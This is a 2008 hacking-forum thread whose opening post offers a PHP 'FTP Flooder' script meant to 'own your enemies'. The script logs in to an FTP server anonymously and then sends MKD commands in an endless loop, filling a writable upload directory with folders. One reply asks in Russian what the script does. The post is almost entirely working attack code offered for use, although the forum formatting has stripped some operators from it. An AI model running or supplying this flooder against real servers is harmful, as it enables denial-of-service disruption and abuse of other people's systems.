[PHP] FTP Flooder

Discussion in 'PHP' started by b!atnoy, 25 Oct 2008.

  1. b!atnoy

    b!atnoy .::The Mafia::.

    Joined:
    1 Jan 2008
    Messages:
    82
    Likes Received:
    74
    Reputations:
    3
    PHP:
    <?php
    ###############################################
    #owned your ennemies.
    ###############################################
    set_time_limit(0); ## << We NEED that.

        
    function swrite($conn,$out){
            echo 
    "<font color='blue'> < $out </font><br>";
            
    fputs($conn,"$out\n");
        }
        function 
    sreadline($conn){
            
    $in fgets($conn);        
            if(
    $in == '')
                echo 
    "<font color='red'> > No Responce </font><br>";
            else
                echo 
    "<font color='green'> > $in </font><br>";
            return 
    $in;
        }
        function 
    sread($conn){
            while(
    true){
                
    $line fgets($conn);
                
    $s .= $line;
                if(
    $line =='')
                    break;
            }
            return 
    $s;
        }
        
        
    $host 'localhost';
        
    $user 'anonymous';
        
    $pass 'anon@anon.com';
        
    # Connect.
        
    $control fsockopen($host,21,$errno,$errstr,30);
        if(!
    $control)
            die(
    "ERROR: $errno ($errstr) ");
        
    sreadline($control);
        
    # Login.
        
    swrite($control"USER $user");
        
    sreadline($control);
        
    swrite($control"PASS $pass");
        
    $message explode(' ',sreadline($control),2);

        if( 
    $message[0] == 530 )
            die();
            
    # Enter Type A
        
    swrite($control"TYPE A");
        
    sreadline($control);
        
    # Passive Mode FTW
        
    swrite($control"PASV");

    $x 1;
    while(
    1)
    {
         
    swrite($control,"MKD /upload/DaaaaarkMiiiiiiiiiiiiiiiiindZ"$x ." "); ## make sure you write to a writeable dir...
         
    sreadline($control);

    $x++;
    }
    # kthxbai!
    ?>
     
    #1 b!atnoy, 25 Oct 2008
    Last edited: 25 Oct 2008
  2. CrazyStudentS_Mi}{

    CrazyStudentS_Mi}{ Elder - Старейшина

    Joined:
    4 Jul 2007
    Messages:
    522
    Likes Received:
    313
    Reputations:
    91
    обьясните что скрипт делает? создает много папок на фтп?
     
    1 person likes this.
Loading...
Similar Threads - Flooder
  1. cren
    Replies:
    8
    Views:
    1,777
  2. Zedi
    Replies:
    27
    Views:
    4,528
  3. AdReNa1!Ne
    Replies:
    0
    Views:
    1,173
  4. d_x
    Replies:
    126
    Views:
    36,563